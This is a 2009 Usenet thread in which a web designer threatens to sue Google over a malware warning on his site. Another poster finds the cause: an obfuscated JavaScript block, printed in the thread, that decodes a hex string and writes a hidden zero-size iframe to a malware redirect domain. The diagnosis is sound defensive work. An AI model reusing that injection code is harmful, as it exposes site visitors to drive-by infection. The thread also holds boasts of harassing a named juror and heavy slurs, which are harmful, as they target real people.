So How Much Do You Think I Should Sue Google For?
Onideus Mad Hatter
already requested like TWO reviews and they *STILL* can't tell me what
part of the code is ~supposedly~ malware and since those two reviews
they've gone even further to have the site listed as "bad" under
several other malware tracking groups (whom I'm also thinking about
suing). So the question is...what do you think would be a reasonable
amount of money to sue them for, given that they're so blatantly
slandering my business?
--
Onideus Mad Hatter
mhm น x น
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
Fred Doyle
> For falsely listing my site as being infected with malware? I've
> already requested like TWO reviews and they *STILL* can't tell me what
> part of the code is ~supposedly~ malware and since those two reviews
> they've gone even further to have the site listed as "bad" under
> several other malware tracking groups (whom I'm also thinking about
> suing). So the question is...what do you think would be a reasonable
> amount of money to sue them for, given that they're so blatantly
> slandering my business?
>
> --
Oh, I think a bazillion dollars at least. Please, let us know how the
law suit goes.
Prolly should give us an update at the same time you update us on how
your campaign to "rip apart the lives" of the jurors on Drew case using
your "big voice" is going.
And an update on that perpetual motion machine your building
And an update on those design jobs that you were after.
etc.
etc.
etc.
Fred Doyle
Onideus Mad Hatter
wrote:
>Onideus Mad Hatter wrote:
>> For falsely listing my site as being infected with malware? I've
>> already requested like TWO reviews and they *STILL* can't tell me what
>> part of the code is ~supposedly~ malware and since those two reviews
>> they've gone even further to have the site listed as "bad" under
>> several other malware tracking groups (whom I'm also thinking about
>> suing). So the question is...what do you think would be a reasonable
>> amount of money to sue them for, given that they're so blatantly
>> slandering my business?
>>
>> --
>
>Oh, I think a bazillion dollars at least. Please, let us know how the
>law suit goes.
A "bazillion" huh? What currency exactly is that in, Fumbles?
>Prolly should give us an update at the same time you update us on how
>your campaign to "rip apart the lives" of the jurors on Drew case using
>your "big voice" is going.
Quite well actually, Valentina Kunasz is the current primary trolling
target. Although the case itself is pretty much a moot point since
the misdemeanor charges are just going to get over-turned anyway.
Basically the courts have enough sense not to allow for this bullshit
and they'll ultimately reject all of it, but an example should still
be made out of the jurors involved who actually tried to convict her.
>And an update on that perpetual motion machine your building
Who is it that's building a perpetual motion machine? You must have
me confused with someone else (or one of your delusions).
>And an update on those design jobs that you were after.
I decided to stay with Wal*Mart, for a variety of reasons, the primary
one being that the job wouldn't be entirely telecommuting and as such
would require semi-regular trips to the Tri-Cities and given what gas
prices are...yeah...it was not gonna be a very good deal overall
unless I moved to the Tri-Cities.
Anything else you want to know about, Hatter Addict?
--
Onideus Mad Hatter
mhm ą x ą
Fred Doyle
> On Wed, 04 Feb 2009 09:48:34 -0500, Fred Doyle <fdo...@nycap.rr.com>
> wrote:
>
>> Onideus Mad Hatter wrote:
>>> For falsely listing my site as being infected with malware? I've
>>> already requested like TWO reviews and they *STILL* can't tell me what
>>> part of the code is ~supposedly~ malware and since those two reviews
>>> they've gone even further to have the site listed as "bad" under
>>> several other malware tracking groups (whom I'm also thinking about
>>> suing). So the question is...what do you think would be a reasonable
>>> amount of money to sue them for, given that they're so blatantly
>>> slandering my business?
>>>
>>> --
>> Oh, I think a bazillion dollars at least. Please, let us know how the
>> law suit goes.
>
> A "bazillion" huh? What currency exactly is that in, Fumbles?
Hmmm, I'll note that sarcasm is too subtle when conversing with you.
>
>> Prolly should give us an update at the same time you update us on how
>> your campaign to "rip apart the lives" of the jurors on Drew case using
>> your "big voice" is going.
>
> Quite well actually, Valentina Kunasz is the current primary trolling
> target. Although the case itself is pretty much a moot point since
> the misdemeanor charges are just going to get over-turned anyway.
> Basically the courts have enough sense not to allow for this bullshit
> and they'll ultimately reject all of it, but an example should still
> be made out of the jurors involved who actually tried to convict her.
Please, update us on how you've been "trolling" her so we will know just
how badly you've ripped apart her life.
>
>> And an update on that perpetual motion machine your building
>
> Who is it that's building a perpetual motion machine? You must have
> me confused with someone else (or one of your delusions).
oh, 'scuse me. How is that "geomagnetric resonence energy generator"
coming along?
>
>> And an update on those design jobs that you were after.
>
> I decided to stay with Wal*Mart,
I would say that's a very good move for you, indeed.
> for a variety of reasons, the primary
> one being that the job wouldn't be entirely telecommuting and as such
> would require semi-regular trips to the Tri-Cities and given what gas
> prices are...yeah...it was not gonna be a very good deal overall
> unless I moved to the Tri-Cities.
>
> Anything else you want to know about, Hatter Addict?
>
Nope, not right now other than the updates I've asked you for above.
I'll expect them soon.
Fred Doyle
Travis Newbury
productions.net> wrote:
> For falsely listing my site as being infected with malware? I've
> already requested like TWO reviews and they *STILL* can't tell me what
> part of the code is ~supposedly~ malware and since those two reviews
> they've gone even further to have the site listed as "bad" under
> several other malware tracking groups (whom I'm also thinking about
> suing). So the question is...what do you think would be a reasonable
> amount of money to sue them for, given that they're so blatantly
> slandering my business?
I would shoot for infinity dollars!!! You have just as much chance
getting that as you do $1.00
Dumb ass
Travis Newbury
Here dumb ass:
Onideus Mad Hatter
I've already tried going through Google's site review bullshit twice
in the past week or so, Dumbass. Haven't heard anything from them at
all since and my site continues to remain, for all intents and
purposes, inaccessible to potential clients and customers. The only
option I'm left with is to sue them. The only question is, for how
much? Right now I'm thinking somewhere in the range of $250,000, it's
a nice, mostly round number and as such would likely encourage them to
simply settle out of court, which would be ideal.
Mr Serious
> So the question is...what do you think would be a reasonable
> amount of money to sue them for, given that they're so blatantly
> slandering my business?
1337 dollars of course!
whoisthat...@hotmail.com
> already requested like TWO reviews and they *STILL* can't tell me what
> part of the code is ~supposedly~ malware and since those two reviews
> they've gone even further to have the site listed as "bad" under
> several other malware tracking groups (whom I'm also thinking about
> suing). So the question is...what do you think would be a reasonable
> amount of money to sue them for, given that they're so blatantly
> slandering my business?
Sounds like a karma issue, Sophomore.
Drew
FrozenNorth
> On Wed, 4 Feb 2009 11:14:13 -0800 (PST), Travis Newbury
> <travis...@gmail.com> wrote:
>
>>On Feb 4, 8:56 am, Onideus Mad Hatter <use...@backwater-
>>productions.net> wrote:
>>> For falsely listing my site as being infected with malware?
>>
>>Here dumb ass:
>>
>>http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://www.backwater-productions.net/
>
> I've already tried going through Google's site review bullshit twice
> in the past week or so, Dumbass. Haven't heard anything from them at
> all since and my site continues to remain, for all intents and
> purposes, inaccessible to potential clients and customers. The only
> option I'm left with is to sue them. The only question is, for how
> much? Right now I'm thinking somewhere in the range of $250,000, it's
> a nice, mostly round number and as such would likely encourage them to
> simply settle out of court, which would be ideal.
>
DO you have shared hosting? It appears so, from here.
If so, it looks like one or more sites sharing the same IP/machine are or
have been compromised..
I would suggest you contact your hosting company, instead of suing Google,
it will probably be more productive in the short term.
--
Froz...
2 feet longer than a d00tchie.
Onideus Mad Hatter
Is karma how you explain the fact that you're such an incredible
failure in life? Maybe you should stop blaming your failures on karma
and strive to improve yourself, Fuckwit.
And given all the wondrous, charitable, nice, loving and open minded
efforts and projects I've put forth for others (often complete
strangers), yeah, I'm sure my karma is quite well into the positive
end of things, especially given all the hateful, nasty, invective,
slanderous, bile that Hatter Addicts liak yourself constantly spew
forth about me.
--
Onideus Mad Hatter
mhm ą x ą
Onideus Mad Hatter
: http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
I guess a lot of others are having their businesses destroyed by
Google as well. As such I'm now looking into starting a class action
law suit against Google. It seems litigation really is the only
option, especially after hearing others stories and how they've been
fighting against the bullshit for even longer than I have! Apparently
what usually happens is that after a site review you'll get cleared of
the slanderous lies...but only for a day or two and then they just go
back and relist your site as being infected with malware...or in my
case:
"Site is listed as suspicious - visiting this web site may harm your
computer."
Apparently Google only needs unfounded suspicion to completely ruin
your business.
Wavy G
"Onideus Mad Hatter" actually had to say:
>Check this out:
>: http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>
>I guess a lot of others are having their businesses destroyed by
>Google as well. As such I'm now looking into starting a class action
>law suit against Google.
LOL! You're going to "sue" a website? How does *that* work? You stand
there and point at your computer screen and shout, "I'm gonna sue you,
I'm gonna sue you!"???
Yeah, hey, good idea. I think I'm gonna sue this fork I'm using for not
properly picking up peas off my plate.
Oh, and hey, I'm gonna sue this bottle of shampoo because it fell off
the shelf in the shower and hit my big toe.
LOL LOL LL!O!!!
You young guys slay me sometimes.
>It seems litigation really is the only
>option, especially after hearing others stories and how they've been
>fighting against the bullshit for even longer than I have! Apparently
>what usually happens is that after a site review you'll get cleared of
>the slanderous lies...but only for a day or two and then they just go
>back and relist your site as being infected with malware...or in my
>case:
>
>"Site is listed as suspicious - visiting this web site may harm your
>computer."
>
>Apparently Google only needs unfounded suspicion to completely ruin
>your business.
>
--
[None]
Travis Newbury
productions.net> wrote:
> I've already tried going through Google's site review bullshit twice
> in the past week or so,
Bla bla bla bla bla..... dope
Travis Newbury
productions.net> wrote:
> Apparently Google only needs unfounded suspicion to completely ruin
> your business.
Yea, they ruined it....
Onideus Mad Hatter
wrote:
>After I wiped off my hand and pulled up my pants, I decided to read what
>"Onideus Mad Hatter" actually had to say:
>
>>Check this out:
>>: http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>>
>>I guess a lot of others are having their businesses destroyed by
>>Google as well. As such I'm now looking into starting a class action
>>law suit against Google.
>LOL! You're going to "sue" a website?
...wow...just...WOW!
I mean I always knew you were a clueless fuckin retard, Pervy...but
seriously, that comment there...boy that really does just take the
cake. It's actually kind of painful to imagine that someone can
*REALLY* be *THAT* fuckin stupid. Are you taking idiot pills or
something? Did you enjoy eating the "wall candy" as a child? Or are
you just naturally a complete and total fuckup of the highest order?
Chromosomal deficient and all liak that, eh Pervy? Did daddy's little
soldiers have a few too many bullets missing? Did the best part of
you run down the crack of yer mama's ass? *nods* Too bad you can't
sue God for making you so completely fucking stupid, huh?
Onideus Mad Hatter
Yes, thank you for that, moron. Yeesh, there sure are a lot of
retards posting today.
--
Onideus Mad Hatter
mhm ą x ą
Onideus Mad Hatter
Don't you have something more productive you could be doing with your
idiotic little existence...I mean besides obsessing over me and my
shit.
Adrienne Boswell
<use...@backwater-productions.net> writing in
news:aj8ko4ds99sb3lia3...@4ax.com:
> Check this out:
>: http://www.google.com/support/forum/p/Webmasters/thread?tid=
588957a784
>: 0455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>
> I guess a lot of others are having their businesses destroyed by
> Google as well. As such I'm now looking into starting a class action
> law suit against Google. It seems litigation really is the only
> option, especially after hearing others stories and how they've been
> fighting against the bullshit for even longer than I have! Apparently
> what usually happens is that after a site review you'll get cleared of
> the slanderous lies...but only for a day or two and then they just go
> back and relist your site as being infected with malware...or in my
> case:
>
And you did not read all the posts. The sites in question in that thread
visitors are being redirected to malicious sites. This can happen from
a bad htaccess, or it can also be a result of SQL injection.
I know what I'm talking about here. I had a site down for a month
because it kept on getting attacked. I was never on Google's bad list
because I took the server down BEFORE it was able to redirect anyone. I
wound up having to clean all the files by hand, put the cleaned files on
another computer with no Internet access, and reformat the original
server before I was able to put the files back. I also had to install
an ISAPI filter, start using stored procedures for all SQL queries, and
lock down DB server privilegdes. In addition, I changed all the user
names for the FTP account.
--
Adrienne Boswell at Home
Arbpen Web Site Design Services
http://www.cavalcade-of-coding.info
Please respond to the group so others can share
Adrienne Boswell
<use...@backwater-productions.net> writing in
> For falsely listing my site as being infected with malware? I've
> already requested like TWO reviews and they *STILL* can't tell me what
> part of the code is ~supposedly~ malware and since those two reviews
> they've gone even further to have the site listed as "bad" under
> several other malware tracking groups (whom I'm also thinking about
> suing). So the question is...what do you think would be a reasonable
> amount of money to sue them for, given that they're so blatantly
> slandering my business?
>
I also looked at the site in Opera, and my antivirus detected a threat:
Exploit MDAC ActiveX code execution type 165.
The IP address in question was 91.211.64.120 which resolves to somewhere
in Russia. See http://tinyurl.com/d3bbp5 (Central Ops IP information).
Wavy G
"Onideus Mad Hatter" actually had to say:
>On Wed, 04 Feb 2009 18:29:29 -0500, Wavy G <godsspe...@gmail.com>
>wrote:
>
>>After I wiped off my hand and pulled up my pants, I decided to read what
>>"Onideus Mad Hatter" actually had to say:
>>
>>>Check this out:
>>>: http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>>>
>>>I guess a lot of others are having their businesses destroyed by
>>>Google as well. As such I'm now looking into starting a class action
>>>law suit against Google.
>
>>LOL! You're going to "sue" a website?
>
>...wow...just...WOW!
>
>I mean I always knew you were a clueless fuckin retard, Pervy...but
>seriously, that comment there...boy that really does just take the
>cake. It's actually kind of painful to imagine that someone can
>*REALLY* be *THAT* fuckin stupid. Are you taking idiot pills or
>something? Did you enjoy eating the "wall candy" as a child? Or are
>you just naturally a complete and total fuckup of the highest order?
>Chromosomal deficient and all liak that, eh Pervy? Did daddy's little
>soldiers have a few too many bullets missing? Did the best part of
>you run down the crack of yer mama's ass? *nods* Too bad you can't
>sue God for making you so completely fucking stupid, huh?
Hmm? Sorry, I'm just a little distracted. I just walked into the wall
in my apartment. I'm thinking of suing it for "Domestic Violence"! LOL
LOL LOL!!!@!!
--
[None]
prodigy
I'm not boasting anything but you have this long ass, very very
annoying signature that says nothing except, "I'm a fucking dupe," you
didn't come up with those quotes, they're unoriginal, gay, and it's so
fucking stupid to make everyone sift through your bullshit. you're on
a "hacking" usenet group and you are stupid enough to not understand
why your site is being flagged. It's posers like you, working at Wal-
Mart and acting bad ass that give hackers a bad image. Why do you
post on this forum? Nobody gives a shit and you can't sue Google you
dumb ass twit, they damn near own the internet these days. Everyone on
here is laughing at you so what makes you think they won't? That's all
they'll do and to further embarrass yourself for some reason you come
and complain on here. I don't even know why I joined this group
without reading some discussions first anyway because I can't find a
single damn thing of interest on here. It's comical because I've never
met ANYONE working for Wal-Mart intelligent, yet they think they
always know what they're talking about and they never help with shit
and I can imagine you in your corporately cloned outfit acting like
you know shit. lol, Can we talk about hacking on here for once? Does
anyone even program on here? God damn.
prodigy
prodigy
prodigy
Onideus Mad Hatter
wrote:
>On Wed, 04 Feb 2009 05:56:59 -0800, Onideus Mad Hatter
><use...@backwater-productions.net> wrote:
>
>>For falsely listing my site as being infected with malware? I've
>>already requested like TWO reviews and they *STILL* can't tell me what
>>part of the code is ~supposedly~ malware and since those two reviews
>>they've gone even further to have the site listed as "bad" under
>>several other malware tracking groups (whom I'm also thinking about
>>suing). So the question is...what do you think would be a reasonable
>>amount of money to sue them for, given that they're so blatantly
>>slandering my business?
>>
>> --
>>
>>Onideus Mad Hatter
>>mhm น x น
>>http://www.backwater-productions.net
>>http://www.backwater-productions.net/hatter-blog
>>
>
>I had a look at the site in both FF and IE.
>IE tried loading something else and it failed.
>Both show a flash driven page.
>My gathering would tend to think that google thinks the VB script is
>all screwed up.
>VB is unique to IE and won't run anywhere else.
>I would try putting the two scripts in external files and see if that
>clears it up.
>
>Also there is a reference to another site which could be the true
>culprit.
Most of my sites have some pretty advanced scripting, all of which is
used for either user data tracking or for system compatibility
checking. That VB script being one of the most important as it's the
*ONLY* way to accurately detect whether Flash has been installed on
someone's system and what specific version of it they have. It's not
something I can simply take out as several of my sites, like the RPG
Sprite Maker, are absolutely dependent upon not just having Flash
installed, but having SPECIFIC versions of it installed.
Just because the morons at Google are too damn stupid to look at site
code and figure out what it is doesn't give them the right to slander
and attack my business. Essentially what they're saying is that if
your site's code goes beyond their limited flunkie range of expertise
that your site is automatically labeled as "suspicious".
Onideus Mad Hatter
wrote:
>Gazing into my crystal ball I observed Onideus Mad Hatter
><use...@backwater-productions.net> writing in
>news:aj8ko4ds99sb3lia3...@4ax.com:
>
>> Check this out:
>>: http://www.google.com/support/forum/p/Webmasters/thread?tid=
>588957a784
>>: 0455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>>
>> I guess a lot of others are having their businesses destroyed by
>> Google as well. As such I'm now looking into starting a class action
>> law suit against Google. It seems litigation really is the only
>> option, especially after hearing others stories and how they've been
>> fighting against the bullshit for even longer than I have! Apparently
>> what usually happens is that after a site review you'll get cleared of
>> the slanderous lies...but only for a day or two and then they just go
>> back and relist your site as being infected with malware...or in my
>> case:
>>
>
>And you did not read all the posts. The sites in question in that thread
>visitors are being redirected to malicious sites. This can happen from
>a bad htaccess, or it can also be a result of SQL injection.
No retard, *YOU* didn't read all the posts as the OP clearly pointed
out halfway through the discussion that they had checked the htaccess
file and it was perfectly clean (as is mine).
>I know what I'm talking about here. I had a site down for a month
>because it kept on getting attacked. I was never on Google's bad list
>because I took the server down BEFORE it was able to redirect anyone. I
>wound up having to clean all the files by hand, put the cleaned files on
>another computer with no Internet access, and reformat the original
>server before I was able to put the files back. I also had to install
>an ISAPI filter, start using stored procedures for all SQL queries, and
>lock down DB server privilegdes. In addition, I changed all the user
>names for the FTP account.
Look stupid, I'm not you, I'm not a fuckup, I would not be all shades
of pissed off and filing lawsuits unless I was *ABSOLUTELY* certain
that my sites were crystal fucking clean. I have literarily gone
through *EVERY* single one of my pages, every script, every
configuration file, hell I even checked the gawd damn code in the
Flash files! There's *NO* fucking malware on *ANY* of my sites. And
Google even admits to it!
Their explanation of why they're blacklisting my site is because, and
I quote:
"Site is listed as suspicious - visiting this web site may harm your
computer."
Apparently completely unfounded suspicions are all Google needs to
completely fuck over someone's business...and I fully intend to make
them pay for it.
--
Onideus Mad Hatter
mhm ą x ą
Onideus Mad Hatter
wrote:
>Gazing into my crystal ball I observed Onideus Mad Hatter
><use...@backwater-productions.net> writing in
>news:fc7jo45ch72uu2mi6...@4ax.com:
>
>> For falsely listing my site as being infected with malware? I've
>> already requested like TWO reviews and they *STILL* can't tell me what
>> part of the code is ~supposedly~ malware and since those two reviews
>> they've gone even further to have the site listed as "bad" under
>> several other malware tracking groups (whom I'm also thinking about
>> suing). So the question is...what do you think would be a reasonable
>> amount of money to sue them for, given that they're so blatantly
>> slandering my business?
>>
>
>I also looked at the site in Opera, and my antivirus detected a threat:
>Exploit MDAC ActiveX code execution type 165.
>
>The IP address in question was 91.211.64.120 which resolves to somewhere
>in Russia. See http://tinyurl.com/d3bbp5 (Central Ops IP information).
Oh really? And on which one of my sites and which *SPECIFIC* portion
of code is your antivirus getting this bullshit from? Free cl00,
Sunshine, they're not getting it from the site, they're getting it
from the retarded blacklist that Google setup on the site which is
based on UNFOUNDED SUSPICIONS...and so far the going theory is that
some other completely unrelated site hosted on the same shared server
is infected or was infected at some point...which apparently in
Google's insane world gives them the right to completely fuck over
every last business that's hosted on the same server...even though
there's *NO WAY POSSIBLE* for one compromised site to access any other
site on the server.
Essentially what they're saying is that if Lunar Pages has one dumbass
client with a three letter password that can be brute forced in less
than five minutes that *EVERYONE* else on the server must also have
easily brute forced passwords and they *ALL* get listed as
"suspicious" based on complete bullshit they pulled right out of their
fat asses.
Onideus Mad Hatter
<beat...@hotmail.com> wrote:
--
>I fail to understand hatter why you act so high and mighty.
Not wanting to get fucked over by Google is acting "high and mighty",
huh? I suppose if it was your site you'd just kindly bend your fat
ass over and let Google rape you straight the fuck up the butt hole
with a steel pole, huh?
I fail to understand why your dumbass posted this message liak six
fuckin times in a row...oh, wait, no I don't, it's because you're an
idiot!
>I mean,
>I'm not boasting anything but you have this long ass, very very
>annoying signature that says nothing except, "I'm a fucking dupe," you
>didn't come up with those quotes, they're unoriginal, gay, and it's so
>fucking stupid to make everyone sift through your bullshit.
Sorry Pissy, but those are all my quotes, they're all original and any
gay innuendo you're picking up is coming straight the fuck out of yer
own lil sordid closet I can assure you. Further, my .sig performs a
very specific purpose in that it was designed to try and deter morons
liak yourself from replying to my posts with your inane fucking
bullshit...obviously it's not ~always~ effective, but don't worry, I
have other ways to deal with "difficult" retards liak yourself. *nods*
> you're on a "hacking" usenet group and you are stupid enough to not
> understand why your site is being flagged.
A "hacking" "usenet" group? Um, which group would that be, Retard? In
case you hadn't noticed you're posting to FOUR of them...and uh, not
one of them is a "hacking" "usenet" group either, you stupid retard.
Further, even if they ~were~ "hacking" related groups it still doesn't
change the blindingly obvious fact that my sites have *NOT* been
compromised, by Google's own admission the sites are being blacklisted
simply on SUSPICION alone, most likely because they're too damn fuckin
stupid to figure out how my "complicated" code works and what it's
doing. VBScript...WOAH...that's liak the most complicated fuckin
language there is, huh? *rolls eyes*
>It's posers like me,
I fixed your typo, Mr. Multiple Post.
>working at Wal-Mart
Hear that everybody? If you work at Wal*Mart that means you
automatically don't know ~anything~ about computers, or coding, (or
graphic design if you ask that retard Drew).
It's too bad I'm *NOT* the flunkie of your delusions though, then my
site's code wouldn't be nearly so complex and wouldn't be causing
those retards working at Google to flag my sites because they can't
figure out how my "complex" code works. *snicker* You seem to be
posturing your dumbass as some kind of a l33t uber hacker though, so
maybe your stupid ass can point out the specific portions of code that
~supposedly~ contain malware. Oh, what's that? You *CAN'T*? Oh,
well, gee dumbfuck, there's a *BIG* surprise.
>and acting bad ass that give hackers a bad image.
1. You are not a hacker.
2. I never claimed to be a hacker.
3. My definition of hacking is likely not even remotely within
spitting distance of your no doubt Hollywood inspired retardation of
what hacking is all about.
>Why do you post on this forum?
Which forum would that be, Stupid? Yeesh, this "hacker" is so fuckin
stupid he hasn't even figured out that he's posting to moar than one
froup! LOL
>Nobody gives a shit
Well gee, there's already nearly FIFTY posts of "not giving a shit",
huh, funny that, innt? Have I reminded you lately of how fuckin
*STUPID* you are? Cause...damn...I mean...just...WOW! I mean I
thought that Pervy guy was stupid, but you...you take the taco pal.
You are the freakin MAYOR of Retard Town.
>and you can't sue Google
Oh I most certainly can actually and given Google's track record as
far as losing cases and settling out of court as often as
possible...yeah, I don't think it's gonna take much effort on my part.
>you dumb ass twit,
This from the retard who quadruple posts and doesn't the fuck even
know where the hell he's posting at. LOL You best be careful about
throwing stones in yer lil glass house there, Retard.
>they damn near own the internet these days.
And that doesn't seem to be stopping everyone and his brother from
suing them every other week for very large sums of money which they
continually pay out the nose. Perhaps if you weren't a RETARD, you
would know that.
>Everyone
I'm sorry, who was it again that elected you as head spokes-retard?
LOL, what's the matter, Cuppycake, too weak to stand on your own
opinions and arguments? Gotta retard back into the sheeple mind set
for a lil slurp support? *snicker* You're not simply stupid, yer
fuckin pathetic!
>on here is laughing at you
Uh huh, well you be sure and let me know as often as possible just how
much you're *LAUGHING* and just how much *FUN* you're having, I can
tell it's *VERY* important for you to try and convince me of it.
>so what m-COCK SLAP-
Yeah, bored now. I think yer done sweety, put it down, time for bed.
Finish suckin off my cock and then toddle off to bed liak a good
little Internet whore. If I want any more shit from you I'll just
squeeze yer fat ugly head, mmmkay? In the mean time see if you can't
keep your idiot mouth shut so you can avoid the embarrassment of
having me shove my great big cock into it.
Neredbojias
wrote:
> Oh really?
Just a side-note here. Your x-face sucks. You should have something
like a head outline with a little hat on it, not a childish scratching
that appears to be an off-centered ghost at best.
--
Neredbojias
Driving can be tiring - especially after supper,
So 'fore you take an evening trip - you ought to pop an upper.
Burma Shave
Onideus Mad Hatter
<nered...@gmail.com> wrote:
>On 04 Feb 2009, Onideus Mad Hatter <use...@backwater-productions.net>
>wrote:
>
>> Oh really?
>
>Just a side-note here. Your x-face sucks. You should have something
>like a head outline with a little hat on it, not a childish scratching
>that appears to be an off-centered ghost at best.
Most people actually liak the Hatter smiley: `, )
The general consensus at the time was that it was better than nyah:
http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_Hatter_X-Face_1.png
http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_Hatter_X-Face_2.png
To each his own I guess.
--
Onideus Mad Hatter
mhm น x น
tars.ta...@gmail.com
productions.net> wrote:
> On Thu, 05 Feb 2009 02:50:09 GMT, Adrienne Boswell <arb...@yahoo.com>
> wrote:
>
>
>
> >Gazing into my crystal ball I observed Onideus Mad Hatter
> ><use...@backwater-productions.net> writing in
> >news:fc7jo45ch72uu2mi6...@4ax.com:
>
> >> For falsely listing my site as being infected with malware? I've
> >> already requested like TWO reviews and they *STILL* can't tell me what
> >> part of the code is ~supposedly~ malware and since those two reviews
> >> they've gone even further to have the site listed as "bad" under
> >> several other malware tracking groups (whom I'm also thinking about
> >> suing). So the question is...what do you think would be a reasonable
> >> amount of money to sue them for, given that they're so blatantly
> >> slandering my business?
>
> >I also looked at the site in Opera, and my antivirus detected a threat:
> >Exploit MDAC ActiveX code execution type 165.
>
> >The IP address in question was 91.211.64.120 which resolves to somewhere
>
> Oh really? And on which one of my sites and which *SPECIFIC* portion
> of code is your antivirus getting this bullshit from? Free cl00,
> Sunshine, they're not getting it from the site, they're getting it
> from the retarded blacklist that Google setup on the site which is
> based on UNFOUNDED SUSPICIONS...and so far the going theory is that
> some other completely unrelated site hosted on the same shared server
> is infected or was infected at some point...which apparently in
> Google's insane world gives them the right to completely fuck over
> every last business that's hosted on the same server...even though
> there's *NO WAY POSSIBLE* for one compromised site to access any other
> site on the server.
>
> Essentially what they're saying is that if Lunar Pages has one dumbass
> client with a three letter password that can be brute forced in less
> than five minutes that *EVERYONE* else on the server must also have
> easily brute forced passwords and they *ALL* get listed as
> "suspicious" based on complete bullshit they pulled right out of their
> fat asses.
>
I did a wget on www.backwater-productions.net. I saw mostly
straightforward code, but at the end there was this odd code block:
<script language='JavaScript' type='text/javascript'>
document.write("<embed type='application/x-shockwave-flash'
pluginspage='http://www.adobe.com/shockwave/download/index.cgi?
P1_Prod_Version=ShockwaveFlash' src='main.swf?value=' width=760
height=424>"); var str="google.com";var
str2="6170706c652d6f66666572732e6e6574";var str3="if";str="";for (var
i=0;i<str2.length;i=i+2){ str=str+"%"+str2.substr(i,2);}document.write
("<"+str3+"rame width=0 height=0 src=http://"+str+"></"+str3+"rame>");
the javascript takes the obfuscated string
"6170706c652d6f66666572732e6e6574", and turns it into an http request
that references 'apple-offers.net' in a 0x0 frame.
this matches up with the info on this page:
which mentions that the 'appple-offers.net' site is being used to
forward users to the actual site that downloads the malicious code.
Looking at apple-offers.net with wget, I see some extremely obfuscated
code.
So, yes, you have code on your site that is doing something odd. I
don't see any good reason to make it hard to spot the URL for apple-
offers.net or even the fact that its creating an invisible frame on
your page.
Onideus Mad Hatter
wrote:
I removed it, I believe that got thrown in there because I looked up
the embed tag for flash content off some random site at one point (by
looking at their source code) and simply copied and pasted, only
bothering to alter the file name and width/height. Whatever site I
got it from must have been hijacked.
If *THAT* is really all the better of an excuse they have for
blacklisting *ALL* of my sites I think I've still got a pretty good
case against them. For one the "malicious" code isn't actually doing
anything other than supplying a link to a site that won't even work
(as its already been black listed itself). The other question is why
doesn't Google include this information on their review of the site?
Had they done so, had they not simply posted bullshit with the excuse
of a vague "suspicion" I would have been able to remove that benign
code portion immediately after it was detected and none of my sites
would have been effectively shut down by Google.
In effect, Google not only cost me a shit load of money in that I had
to spend hours and hours and hours scouring through hundreds of HTML
files trying to find ~magic~ "suspicion" code, but they also cost me
the downtime (read shut down) of *ALL* my sites and even plain image
links even though there was only *ONE* instance of this benign site
redirect. The fact that they essentially attempted to keep the source
of the trouble hidden proves that they maliciously and deliberately
attempted to slander my sites (along with God only knows how many
other sites).
I suppose one might be willing to give Google the benefit of the doubt
and simply accept the fact that they're all a bunch of fuckin idiots
who didn't design their malware detection system in a way that
wouldn't deliberately damage businesses...but even then ignorance is
no excuse and they still need to pay for what they've cost me.
Bill_The_Butcher
Citing Onideus Mad Hatter (on 05/02/2009 08:46):
>
> I suppose one might be willing to give Google the benefit of the doubt
> and simply accept the fact that they're all a bunch of fuckin idiots
> who didn't design their malware detection system in a way that
> wouldn't deliberately damage businesses...but even then ignorance is
> no excuse and they still need to pay for what they've cost me.
>
> --
>
Seems like you're gonna get loooots of money then! keep us posted it
will be funny - i'm already selling my google shares ;-)
~-~-~~- Phrase of the day -~~-~-~
108. A waist is a terrible thing to mind.
~-~-~~-~-~~-~-~
with Thunderbird + Tagzilla
~-~-~~-~-~~-~-~
Travis Newbury
> I fail to understand hatter why you act so high and mighty. I mean...
Prodigy,
You deal with hatter the same way you deal with a child that comes up
and starts telling you stories. You smile knowingly then pat him on
the butt and send him off to bed. Arguing or trying to reason with
him is a waste of time. Just call him a dope, and enjoy the hilarious
rantings that he spews back at you.
tars.ta...@gmail.com
productions.net> wrote:
> On Wed, 4 Feb 2009 22:57:39 -0800 (PST), tars.tarkas...@gmail.com
> wrote:
>
>
>
> >On Feb 4, 8:56 pm, Onideus Mad Hatter <use...@backwater-
> >productions.net> wrote:
